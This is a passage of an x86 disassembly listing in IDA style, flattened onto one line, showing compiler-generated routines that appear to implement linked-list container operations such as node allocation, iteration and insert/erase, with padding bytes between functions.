ecx, [esp+58h+var_C] pop edi pop esi xor al, al mov large fs:0, ecx pop ebx add esp, 4Ch retn 4 sub_414E10 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 0A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415100 proc near ; CODE XREF: sub_40132Aj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_401ED8 sub_415100 endp ; --------------------------------------------------------------------------- mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415140 proc near ; CODE XREF: sub_401726j arg_0 = dword ptr 4 sub esp, 8 push esi push edi mov edi, [esp+10h+arg_0] mov esi, ecx push 0 push 0 mov al, [edi] mov [esi], al call sub_401ED8 sub_415140 endp ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esi+4], eax push ecx mov ecx, edi mov dword ptr [esi+8], 0 call sub_4016D6 mov edx, [eax] lea eax, [esp+8] push edx push eax mov ecx, edi call sub_40113B mov ecx, [eax] lea edx, [esp+10h] push ecx push edx mov ecx, esi call sub_4012E9 mov eax, [eax] mov ecx, esi push eax call sub_401735 mov eax, esi pop edi pop esi add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4151C0 proc near ; CODE XREF: sub_401582j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_401D9D mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_4012E9 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_40146F mov edx, [esi+4] mov ecx, esi push edx call sub_401CE9 sub_4151C0 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415230 proc near ; CODE XREF: sub_4012E9j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] push eax call sub_4020A9 mov ecx, [eax] add esp, 4 push ecx lea ecx, [esp+8+var_4] call sub_401DBB mov edx, [eax] mov eax, [esp+4+arg_0] mov [eax], edx pop ecx retn 4 sub_415230 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415270 proc near ; CODE XREF: sub_401D9Dj var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] lea ecx, [esp+4+var_4] push eax call sub_401DBB mov ecx, [eax] mov eax, [esp+4+arg_0] mov [eax], ecx pop ecx retn 4 sub_415270 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4152A0 proc near ; CODE XREF: sub_401488j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_401D9D mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_40217B sub_4152A0 endp ; --------------------------------------------------------------------------- pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4152E0 proc near ; CODE XREF: sub_401258j var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 sub esp, 0Ch lea eax, [esp+0Ch+var_4] push esi mov esi, ecx push eax call sub_401D9D mov ecx, [eax] lea edx, [esp+10h+var_4] mov [esp+10h+var_8], ecx push edx mov ecx, esi call sub_4012E9 mov eax, [eax] lea ecx, [esp+10h+var_8] push ecx lea ecx, [esp+14h+var_C] mov [esp+14h+var_C], eax call sub_401D70 test al, al jz short loc_41536D push edi mov edi, [esp+14h+arg_0] loc_41531F: ; CODE XREF: sub_4152E0+8Aj lea ecx, [esp+14h+var_C] call sub_401FC3 mov edx, [eax] mov eax, [edi] cmp edx, eax jnz short loc_415351 lea eax, [esp+14h+arg_0] push 0 push eax lea ecx, [esp+1Ch+var_C] call sub_401578 mov ecx, [eax] lea edx, [esp+14h+var_4] push ecx push edx mov ecx, esi call sub_401FCD ; --------------------------------------------------------------------------- jmp short loc_41535A ; --------------------------------------------------------------------------- loc_415351: ; CODE XREF: sub_4152E0+4Ej lea ecx, [esp+14h+var_C] call sub_4020C2 loc_41535A: ; CODE XREF: sub_4152E0+6Fj lea eax, [esp+14h+var_8] lea ecx, [esp+14h+var_C] push eax call sub_401D70 test al, al jnz short loc_41531F pop edi loc_41536D: ; CODE XREF: sub_4152E0+38j pop esi add esp, 0Ch retn 4 sub_4152E0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4153B0 proc near ; CODE XREF: sub_401E38j push esi mov esi, ecx call sub_401ED3 mov eax, esi pop esi retn sub_4153B0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4153D0 proc near ; CODE XREF: sub_401FC3j mov eax, [ecx] push eax call sub_401F19 add esp, 4 retn sub_4153D0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4153F0 proc near ; CODE XREF: sub_4020C2j push esi mov esi, ecx mov eax, [esi] push eax call sub_4020A9 mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_4153F0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415420 proc near ; CODE XREF: sub_401D70j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_4015D7 neg al sbb eax, eax inc eax retn 4 sub_415420 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415450 proc near ; CODE XREF: sub_401F23j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_401C8F sub_415450 endp ; --------------------------------------------------------------------------- mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415490 proc near ; CODE XREF: sub_4011B8j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_402257 mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_401992 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_40132F mov edx, [esi+4] mov ecx, esi push edx call sub_401E33 sub_415490 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415500 proc near ; CODE XREF: sub_401992j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] push eax call sub_401249 mov ecx, [eax] add esp, 4 push ecx lea ecx, [esp+8+var_4] call sub_401CDA mov edx, [eax] mov eax, [esp+4+arg_0] mov [eax], edx pop ecx retn 4 sub_415500 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415540 proc near ; CODE XREF: sub_402257j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] lea ecx, [esp+4+var_4] push eax call sub_401CDA mov ecx, [eax] mov eax, [esp+4+arg_0] mov [eax], ecx pop ecx retn 4 sub_415540 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415570 proc near ; CODE XREF: sub_401F0Fj var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_402257 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401AAA sub_415570 endp ; --------------------------------------------------------------------------- pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4155B0 proc near ; CODE XREF: sub_401933j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_402257 mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_401992 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_40132F pop esi add esp, 0Ch retn sub_4155B0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415600 proc near ; CODE XREF: sub_401154j var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 sub esp, 0Ch lea eax, [esp+0Ch+var_4] push esi mov esi, ecx push eax call sub_402257 mov ecx, [eax] lea edx, [esp+10h+var_4] mov [esp+10h+var_8], ecx push edx mov ecx, esi call sub_401992 mov eax, [eax] lea ecx, [esp+10h+var_8] push ecx lea ecx, [esp+14h+var_C] mov [esp+14h+var_C], eax call sub_401AEB test al, al jz short loc_41568D push edi mov edi, [esp+14h+arg_0] loc_41563F: ; CODE XREF: sub_415600+8Aj lea ecx, [esp+14h+var_C] call sub_4011D1 mov edx, [eax] mov eax, [edi] cmp edx, eax jnz short loc_415671 lea eax, [esp+14h+arg_0] push 0 push eax lea ecx, [esp+1Ch+var_C] call sub_4010DC mov ecx, [eax] lea edx, [esp+14h+var_4] push ecx push edx mov ecx, esi call sub_4017E9 ; --------------------------------------------------------------------------- jmp short loc_41567A ; --------------------------------------------------------------------------- loc_415671: ; CODE XREF: sub_415600+4Ej lea ecx, [esp+14h+var_C] call sub_4018C5 loc_41567A: ; CODE XREF: sub_415600+6Fj lea eax, [esp+14h+var_8] lea ecx, [esp+14h+var_C] push eax call sub_401AEB test al, al jnz short loc_41563F pop edi loc_41568D: ; CODE XREF: sub_415600+38j pop esi add esp, 0Ch retn 4 sub_415600 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4156D0 proc near ; CODE XREF: sub_401037j push esi mov esi, ecx call sub_401E97 mov eax, esi pop esi retn sub_4156D0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4156F0 proc near ; CODE XREF: sub_4011D1j mov eax, [ecx] push eax call sub_402144 add esp, 4 retn sub_4156F0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415710 proc near ; CODE XREF: sub_4018C5j push esi mov esi, ecx mov eax, [esi] push eax call sub_401249 mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_415710 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415740 proc near ; CODE XREF: sub_401AEBj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401EC4 neg al sbb eax, eax inc eax retn 4 sub_415740 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415770 proc near ; CODE XREF: sub_401852j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_401DB6 sub_415770 endp ; --------------------------------------------------------------------------- mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4157B0 proc near ; CODE XREF: sub_4014BFj var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_40114A mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_401901 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_40140B mov edx, [esi+4] mov ecx, esi push edx call sub_401F14 sub_4157B0 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415820 proc near ; CODE XREF: sub_401901j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] push eax call sub_401BCC mov ecx, [eax] add esp, 4 push ecx lea ecx, [esp+8+var_4] call sub_401D7A mov edx, [eax] mov eax, [esp+4+arg_0] mov [eax], edx pop ecx retn 4 sub_415820 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415860 proc near ; CODE XREF: sub_40114Aj var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] lea ecx, [esp+4+var_4] push eax call sub_401D7A mov ecx, [eax] mov eax, [esp+4+arg_0] mov [eax], ecx pop ecx retn 4 sub_415860 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415890 proc near ; CODE XREF: sub_401410j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_40114A mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401D11 sub_415890 endp ; --------------------------------------------------------------------------- pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4158D0 proc near ; CODE XREF: sub_401C76j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_40114A mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_401901 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_40140B pop esi add esp, 0Ch retn sub_4158D0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415920 proc near ; CODE XREF: sub_40214Ej var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 sub esp, 0Ch lea eax, [esp+0Ch+var_4] push esi mov esi, ecx push eax call sub_40114A mov ecx, [eax] lea edx, [esp+10h+var_4] mov [esp+10h+var_8], ecx push edx mov ecx, esi call sub_401901 mov eax, [eax] lea ecx, [esp+10h+var_8] push ecx lea ecx, [esp+14h+var_C] mov [esp+14h+var_C], eax call sub_401339 test al, al jz short loc_4159AD push edi mov edi, [esp+14h+arg_0] loc_41595F: ; CODE XREF: sub_415920+8Aj lea ecx, [esp+14h+var_C] call sub_40135C mov edx, [eax] mov eax, [edi] cmp edx, eax jnz short loc_415991 lea eax, [esp+14h+arg_0] push 0 push eax lea ecx, [esp+1Ch+var_C] call sub_401EBF mov ecx, [eax] lea edx, [esp+14h+var_4] push ecx push edx mov ecx, esi call sub_401078 ; --------------------------------------------------------------------------- jmp short loc_41599A ; --------------------------------------------------------------------------- loc_415991: ; CODE XREF: sub_415920+4Ej lea ecx, [esp+14h+var_C] call sub_40118B loc_41599A: ; CODE XREF: sub_415920+6Fj lea eax, [esp+14h+var_8] lea ecx, [esp+14h+var_C] push eax call sub_401339 test al, al jnz short loc_41595F pop edi loc_4159AD: ; CODE XREF: sub_415920+38j pop esi add esp, 0Ch retn 4 sub_415920 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4159F0 proc near ; CODE XREF: sub_402275j push esi mov esi, ecx call sub_401E42 mov eax, esi pop esi retn sub_4159F0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415A10 proc near ; CODE XREF: sub_40135Cj mov eax, [ecx] push eax call sub_4017E4 add esp, 4 retn sub_415A10 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415A30 proc near ; CODE XREF: sub_40118Bj push esi mov esi, ecx mov eax, [esi] push eax call sub_401BCC mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_415A30 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415A60 proc near ; CODE XREF: sub_401339j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401456 neg al sbb eax, eax inc eax retn 4 sub_415A60 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415A90 proc near ; CODE XREF: sub_40113Bj var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] push eax call sub_4020A9 mov ecx, [eax] add esp, 4 push ecx lea ecx, [esp+8+var_4] call sub_40175D mov edx, [eax] mov eax, [esp+4+arg_0] mov [eax], edx pop ecx retn 4 sub_415A90 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415AD0 proc near ; CODE XREF: sub_4016D6j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] lea ecx, [esp+4+var_4] push eax call sub_40175D mov ecx, [eax] mov eax, [esp+4+arg_0] mov [eax], ecx pop ecx retn 4 sub_415AD0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415B00 proc near ; CODE XREF: sub_40217Bj arg_4 = byte ptr 8 push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_401C62 mov edi, eax push edi call sub_401104 mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_401ED8 sub_415B00 endp ; --------------------------------------------------------------------------- push edi mov ebx, eax call sub_401104 push edi mov [eax], ebx call sub_401104 mov edi, [eax] push edi call sub_401104 mov ecx, [eax] push ecx call sub_4020A9 mov edx, [esp+28h] add esp, 10h mov [eax], edi push edx push edi call sub_401F19 add esp, 4 mov ecx, esi push eax call sub_4021B7 mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx lea ecx, [esp+1Ch] call sub_401DBB mov ecx, [eax] mov eax, [esp+10h] pop edi pop esi mov [eax], ecx pop ebx retn 0Ch ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415BA0 proc near ; CODE XREF: sub_401735j arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = byte ptr 0Ch push esi mov esi, ecx lea eax, [esp+4+arg_8] lea ecx, [esp+4+arg_4] push eax call sub_401CBC test al, al jz short loc_415BED push edi mov edi, [esp+8+arg_0] loc_415BBA: ; CODE XREF: sub_415BA0+4Aj lea ecx, [esp+8+arg_4] call sub_401A5F push eax lea ecx, [esp+0Ch+arg_0] push edi push ecx mov ecx, esi call sub_40217B ; --------------------------------------------------------------------------- lea ecx, [esp+8+arg_4] call sub_40210D lea edx, [esp+8+arg_8] lea ecx, [esp+8+arg_4] push edx call sub_401CBC test al, al jnz short loc_415BBA pop edi loc_415BED: ; CODE XREF: sub_415BA0+13j pop esi retn 0Ch sub_415BA0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415C20 proc near ; CODE XREF: sub_401FCDj var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_401578 mov ecx, eax call sub_401C62 mov esi, eax push esi call sub_4020A9 push esi mov ebx, eax call sub_401104 mov ecx, [eax] push ecx call sub_4020A9 mov edx, [ebx] push esi mov [eax], edx call sub_401104 push esi mov ebx, eax call sub_4020A9 mov eax, [eax] push eax call sub_401104 mov ecx, [ebx] push esi mov [eax], ecx call sub_401F19 add esp, 1Ch mov ecx, edi push eax call sub_401500 push esi mov ecx, edi call sub_401CE9 sub_415C20 endp ; --------------------------------------------------------------------------- mov eax, [edi+8] mov edx, [esp+18h] dec eax mov [edi+8], eax mov eax, [esp+14h] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415CE0 proc near ; CODE XREF: sub_40146Fj var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_401D70 test al, al jz short loc_415D3A loc_415CF8: ; CODE XREF: sub_415CE0+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_401578 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401FCD ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_401D70 test al, al jnz short loc_415CF8 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_415D3A: ; CODE XREF: sub_415CE0+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_415CE0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415D70 proc near ; CODE XREF: sub_401ED8j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 0Ch call sub_4020F4 sub_415D70 endp ; --------------------------------------------------------------------------- mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_415D85 mov edi, esi loc_415D85: ; CODE XREF: ___:00415D81j push esi call sub_4020A9 mov [eax], edi mov edi, [esp+14h] add esp, 4 test edi, edi jnz short loc_415D9A mov edi, esi loc_415D9A: ; CODE XREF: ___:00415D96j push esi call sub_401104 add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415DC0 proc near ; CODE XREF: sub_401CE9j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_401E1A sub_415DC0 endp ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415DE0 proc near ; CODE XREF: sub_4020A9j arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_415DE0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415E00 proc near ; CODE XREF: sub_401F19j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_415E00 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415E20 proc near ; CODE XREF: sub_401ED3j mov eax, ecx retn sub_415E20 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415E40 proc near ; CODE XREF: sub_401DBBj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_40175D mov eax, esi pop esi retn 4 sub_415E40 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415E70 proc near ; CODE XREF: sub_401578j arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_4020C2 mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_415E70 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415EA0 proc near ; CODE XREF: sub_4015D7j arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_415EA0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415ED0 proc near ; CODE XREF: sub_401AAAj arg_4 = byte ptr 8 push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_401F8C mov edi, eax push edi call sub_401163 mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_401C8F sub_415ED0 endp ; --------------------------------------------------------------------------- push edi mov ebx, eax call sub_401163 push edi mov [eax], ebx call sub_401163 mov edi, [eax] push edi call sub_401163 mov ecx, [eax] push ecx call sub_401249 mov edx, [esp+28h] add esp, 10h mov [eax], edi push edx push edi call sub_402144 add esp, 4 mov ecx, esi push eax call sub_4015F0 mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx lea ecx, [esp+1Ch] call sub_401CDA mov ecx, [eax] mov eax, [esp+10h] pop edi pop esi mov [eax], ecx pop ebx retn 0Ch ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415F70 proc near ; CODE XREF: sub_4017E9j var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_4010DC mov ecx, eax call sub_401F8C mov esi, eax push esi call sub_401249 push esi mov ebx, eax call sub_401163 mov ecx, [eax] push ecx call sub_401249 mov edx, [ebx] push esi mov [eax], edx call sub_401163 push esi mov ebx, eax call sub_401249 mov eax, [eax] push eax call sub_401163 mov ecx, [ebx] push esi mov [eax], ecx call sub_402144 add esp, 1Ch mov ecx, edi push eax call sub_401D61 push esi mov ecx, edi call sub_401E33 sub_415F70 endp ; --------------------------------------------------------------------------- mov eax, [edi+8] mov edx, [esp+18h] dec eax mov [edi+8], eax mov eax, [esp+14h] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416030 proc near ; CODE XREF: sub_40132Fj var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_401AEB test al, al jz short loc_41608A loc_416048: ; CODE XREF: sub_416030+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_4010DC mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_4017E9 ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_401AEB test al, al jnz short loc_416048 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_41608A: ; CODE XREF: sub_416030+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_416030 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4160C0 proc near ; CODE XREF: sub_401C8Fj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 0Ch call sub_4015AF sub_4160C0 endp ; --------------------------------------------------------------------------- mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_4160D5 mov edi, esi loc_4160D5: ; CODE XREF: ___:004160D1j push esi call sub_401249 mov [eax], edi 